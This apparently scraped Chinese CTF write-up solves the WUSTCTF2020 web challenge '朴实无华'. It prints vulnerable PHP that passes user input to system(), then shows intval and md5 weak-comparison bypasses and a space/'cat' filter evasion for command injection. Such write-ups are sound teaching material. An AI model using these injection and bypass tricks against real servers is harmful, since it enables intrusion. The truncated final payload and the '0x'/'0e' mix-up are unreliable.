[WUSTCTF2020]朴实无华1

进来之后一张图片看不出来啥,抓个包也没发现什么

这个时候就只能扫扫后台了,这里要设置一下-s,不然扫不出来[WUSTCTF2020]朴实无华1_第1张图片

有个robots.txt,进来有个文件

[WUSTCTF2020]朴实无华1_第2张图片

打开发现不是flag,继续抓个包看看

可以看到有个f14g.php

[WUSTCTF2020]朴实无华1_第3张图片

继续访问,发现关键代码,但是有乱码,在网上学了一招,用火孤修复

[WUSTCTF2020]朴实无华1_第4张图片

按Alt有个查看,这里修复点一下就行

[WUSTCTF2020]朴实无华1_第5张图片

通关代码拿到

 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
";     }else{         die("金钱解决不了穷人的本质问题");     } }else{     die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){    $md5=$_GET['md5'];    if ($md5==md5($md5))        echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
";    else        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{     die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){     $get_flag = $_GET['get_flag'];     if(!strstr($get_flag," ")){         $get_flag = str_ireplace("cat", "wctf2020", $get_flag);         echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
";         system($get_flag);     }else{         die("快到非洲了");     } }else{     die("去非洲吧"); }

三个绕过,第一个

//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
";     }else{         die("金钱解决不了穷人的本质问题");     } }else{     die("去非洲吧"); }

这里需要掌握intval函数的绕过方式,intval函数,此函数在处理数据时会在接触到字符串时停止,也就是说如果传入1e4(10000),经函数解析后会变为1,但是你在+1之后会变为10001,就能成功绕过

[WUSTCTF2020]朴实无华1_第6张图片

第二个绕过

//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
";    else        die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{     die("去非洲吧"); }

php弱类型比较,要求本身和其MD5值相等,弱比较中会截取一个字符串的数字,知道遇到字符截止,比如'11e33',就会被读取为11再比较,如果是'aa111',就会被读取为0,php在以0x开头的字符串进行==弱比较时,会认为是相同的。所以这里就只需找到一个以0x开头的字符串,并且md5加密后也以0x开头的字符串。这里就在wp中找一个吧

0e215962017

[WUSTCTF2020]朴实无华1_第7张图片

成功绕过,接下来第三个

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){//用于判断字符串空格是否是$ get_flag的子串(过滤空格)
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
";         system($get_flag);     }else{         die("快到非洲了");     } }else{     die("去非洲吧"); }

这里cat命令也被过滤了

[WUSTCTF2020]朴实无华1_第8张图片

查看一下目录

[WUSTCTF2020]朴实无华1_第9张图片

接下来就是打开了,cat被过滤可以用more,空格被过滤,这里就用<

一些空格绕过方法

[WUSTCTF2020]朴实无华1_第10张图片

最终payload:

/fl4g.php/num=1e4&md5=0e215962017&get_flag=more

[WUSTCTF2020]朴实无华1_第11张图片

你可能感兴趣的:(web安全)